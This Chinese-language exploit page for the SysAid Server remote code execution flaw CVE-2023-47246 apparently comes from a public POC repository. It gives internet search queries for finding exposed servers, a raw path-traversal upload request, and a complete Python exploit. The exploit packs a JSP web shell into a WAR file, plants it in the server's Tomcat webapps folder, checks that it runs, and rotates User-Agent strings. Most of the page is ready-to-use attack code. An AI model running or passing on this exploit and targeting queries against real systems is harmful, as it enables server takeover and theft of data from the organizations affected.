## SysAid远程命令执行漏洞（CVE-2023-47246） ## 漏洞影响版本 SysAid Server<23.3.36 ## 网络空间搜索 ``` fofa：body="sysaid-logo-dark-green.png" || title="SysAid Help Desk Software" || body="Help Desk software by SysAid" shodan：http.favicon.hash:1540720428 zoomeye：app:"SysAid On-Prem Software" hunter.how：favicon_hash="5f30870725d650d7377a134c74f41cfd" ``` ## poc ``` POST /userentry?accountId=/../../../tomcat/webapps/UIHM3/&symbolName=test&base64UserName=YWRtaW4= HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:47.0) Gecko/20100101 Firefox/47.0 Accept-Encoding: gzip, deflate Accept: */* Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 87 xœðffa``à`H­*ç©«¿Áä± ``` ![fb5ab4bdde18a3c8f92a3c0d5d2b23c9](https://github.com/wy876/POC/assets/139549762/f0e899f9-0d0f-4bda-9b1b-8d6f3151d290) ![3dad5ed7f4a321562ad6c74ee9a9edf1](https://github.com/wy876/POC/assets/139549762/1b81f98e-2599-4622-8c24-c2543a543544) ## Exp脚本 ```python import argparse import binascii import random import time import zipfile import zlib import urllib3 import requests urllib3.disable_warnings() def compressFile(shellFile, warFile): try: with zipfile.ZipFile(warFile, 'w', zipfile.ZIP_DEFLATED) as zipf: zipf.write(shellFile) zipf.close() return True except: return False def getHexData(warFile): with open(warFile, 'rb') as warfile: data = warfile.read() warfile.close() compressed_data = zlib.compress(data) hex_data = binascii.hexlify(compressed_data).decode() return hex_data def generateRandomDirectoryName(num): charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' return ''.join(random.choice(charset) for _ in range(num)) def get_random_agent(): agent_list = [ 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7', 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0', 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0', 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36', 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0', 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36', 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:48.0) Gecko/20100101 Firefox/48.0', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.10586', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/601.6.17 (KHTML, like Gecko) Version/9.1.1 Safari/601.6.17', 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.8 (KHTML, like Gecko) Version/9.1.3 Safari/601.7.8', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/51.0.2704.79 Chrome/51.0.2704.79 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7', 'Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36', 'Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:48.0) Gecko/20100101 Firefox/48.0', 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0', 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36', 'Mozilla/5.0 (X11; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0', 'Mozilla/5.0 (Windows NT 6.1; rv:48.0) Gecko/20100101 Firefox/48.0', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50', 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:48.0) Gecko/20100101 Firefox/48.0', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36', 'Mozilla/5.0 (Windows NT 6.1; rv:47.0) Gecko/20100101 Firefox/47.0', 'Mozilla/5.0 (iPad; CPU OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13G35 Safari/601.1', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/601.5.17 (KHTML, like Gecko) Version/9.1 Safari/601.5.17', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393', 'Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/537.86.7', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36 OPR/39.0.2256.48', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; Trident/5.0)', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36', 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:48.0) Gecko/20100101 Firefox/48.0', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36 OPR/39.0.2256.48', 'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:47.0) Gecko/20100101 Firefox/47.0', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36', 'Mozilla/5.0 (Windows NT 5.1; rv:48.0) Gecko/20100101 Firefox/48.0', 'Mozilla/5.0 (X11; CrOS x86_64 8350.68.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36', 'Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36', 'Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1 (KHTML, like Gecko) CriOS/52.0.2743.84 Mobile/13G35 Safari/601.1.46', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36', 'Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.89 Safari/537.36' ] return agent_list[random.randint(0, len(agent_list) - 1)] def shellUpload(url, proxy, directoryName, shellFile): userEntryUrl = f"{url}/userentry?accountId=/../../../tomcat/webapps/{directoryName}/&symbolName=test&base64UserName=YWRtaW4=" headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": get_random_agent() } shellFileName = shellFile.split(".")[0] warFile = f"{shellFileName}.war" if compressFile(shellFile, warFile): shellHex = getHexData(warFile=warFile) data = binascii.unhexlify(shellHex) resp = requests.post(url=userEntryUrl, headers=headers, data=data, proxies=proxy, verify=False) print("\033[92m[+] Shell file compressed successfully!\033[0m") return resp else: print("\033[91m[x] Shell file compression failed.\033[0m") exit(0) def shellTest(url, proxy, directoryName, shellFile): userEntryUrl = f"{url}/{directoryName}/{shellFile}" headers = { "User-Agent": get_random_agent() } resp = requests.get(url=userEntryUrl, headers=headers, timeout=15, proxies=proxy, verify=False) return resp, userEntryUrl def exploit(url, proxy, shellFile): print(f"\033[94m[*] start to attack: {url}\033[0m") directoryName = generateRandomDirectoryName(5) userentryResp = shellUpload(url, proxy, directoryName, shellFile) print(f"\033[94m[*] Wait 9 seconds...\033[0m") time.sleep(9) cveTestResp, userEntryUrl = shellTest(url, proxy, directoryName, shellFile) if userentryResp.status_code == 200 and cveTestResp.status_code == 200: print(f"\033[92m[+] The website [{url}] has vulnerability CVE-2023-47246! Shell path: {userEntryUrl}\033[0m") else: print(f"\033[91m[x] The website [{url}] has no vulnerability CVE-2023-47246.\033[0m") if __name__ == "__main__": banner = """ ______ _______ ____ ___ ____ _____ _ _ _____ ____ _ _ __ / ___\ \ / / ____| |___ \ / _ \___ \|___ / | || |___ |___ \| || | / /_ | | \ \ / /| _| _____ __) | | | |__) | |_ \ _____| || |_ / / __) | || |_| '_ \ | |___ \ V / | |__|_____/ __/| |_| / __/ ___) |_____|__ _/ / / __/|__ _| (_) | \____| \_/ |_____| |_____|\___/_____|____/ |_|/_/ |_____| |_| \___/ Author: W01fh4cker Blog: https://w01fh4cker.github.io """ print(banner) parser = argparse.ArgumentParser(description="SysAid Server remote code execution vulnerability CVE-2023-47246 Written By W01fh4cker", add_help="eg: python CVE-2023-47246-RCE.py -u https://192.168.149.150:8443") parser.add_argument("-u", "--url", help="target URL") parser.add_argument("-p", "--proxy", help="proxy, eg: http://127.0.0.1:7890") parser.add_argument("-f", "--file", help="shell file, eg: shell.jsp") args = parser.parse_args() if args.url.endswith("/"): url = args.url[:-1] else: url = args.url if args.proxy: proxy = { 'http': args.proxy, 'https': args.proxy } else: proxy = {} exploit(url, proxy, args.file) ``` ## 漏洞脚本来源 ``` https://github.com/W01fh4cker/CVE-2023-47246-EXP ```